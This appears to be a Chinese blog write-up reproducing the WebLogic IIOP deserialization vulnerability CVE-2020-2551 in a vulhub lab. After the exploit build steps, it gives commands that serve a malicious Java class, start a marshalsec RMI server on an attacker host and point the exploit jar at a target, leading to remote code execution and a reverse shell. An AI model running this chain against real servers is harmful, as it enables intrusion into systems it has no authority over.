1. 前言
2020年1月15日, Oracle官方发布了Weblogic IIOP反序列化漏洞CVE-2020-2551的漏洞通告,漏洞等级为高危,CVVS评分为9.8分,漏洞利用难度低。影响范围为10.3.6.0.0, 12.1.3.0.0, 12.2.1.3.0, 12.2.1.4.0。
2. 获取exp并配置编译
给项目配置JDK
配置Modules
选择src 后点 Sources, 选择out 后点 Excluded
选完之后,看到一排红:
这是因为有些包没导入,代码找不到,这里把lib文件夹下的包导入进项目:
然后就没得报错了:
打包配置
配置build:
选择main函数:
build打包成可执行文件:
发现又报错了,说没设置输出路径,配置一下:
继续build,又报错:
是上面的配置jdk下面那个project language level选高了 ,改成8,再来一次build,哇 成功输出文件:
马上就要运行一下,没问题了:
3. 进行复现
首测失败
用vulhub搭建了一个weblogic环境,恶意rmi使用JNDI-Injection-Exploit。但是这个工具编译版本为jdk1.7+,漏洞环境是jdk1.6,所以没成功,从下面日志中可以看到漏洞触发成功访问了rmi服务,但是接着报错不支持version 52,说明执行代码的jdk版本低于编译的jdk版本。搜到jdk版本和stanford parser对应关系是J2SE 8 = 52,J2SE 7 = 51,J2SE 6.0 = 50,J2SE 5.0 = 49,JDK 1.4 = 48,JDK 1.3 = 47,JDK 1.2 = 46,JDK 1.1 = 45,所以后面用指定编译版本为1.6编译exp。
这下该成功了吧
1、使用javac Poc.java -source 1.6 -target 1.6
指定版本来编译Poc.java:
并且启动一个web服务来让恶意类可以被访问到python3 -m http.server 80
2、恶意rmi服务java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.111.1/#Poc" 1099
3、用poc测试java -jar CVE-2020-2551.jar 192.168.111.130 7001 rmi://192.168.111.1:1099/Poc
4、可以看到weblogic请求rmi后从web服务器里获取到了恶意类:
5、此时上漏洞环境查看目录,命令执行成功:
6、反弹shell:
4. 参考
https://blog.csdn.net/m0_37961948/article/details/78161828?utm_source=blogxgwz3
https://www.cnblogs.com/zhaoqingqing/p/11847791.html
https://blog.csdn.net/weixin_43149083/article/details/89639747
https://y4er.com/post/weblogic-cve-2020-2551/
https://xz.aliyun.com/t/7374#toc-13
https://xz.aliyun.com/t/7498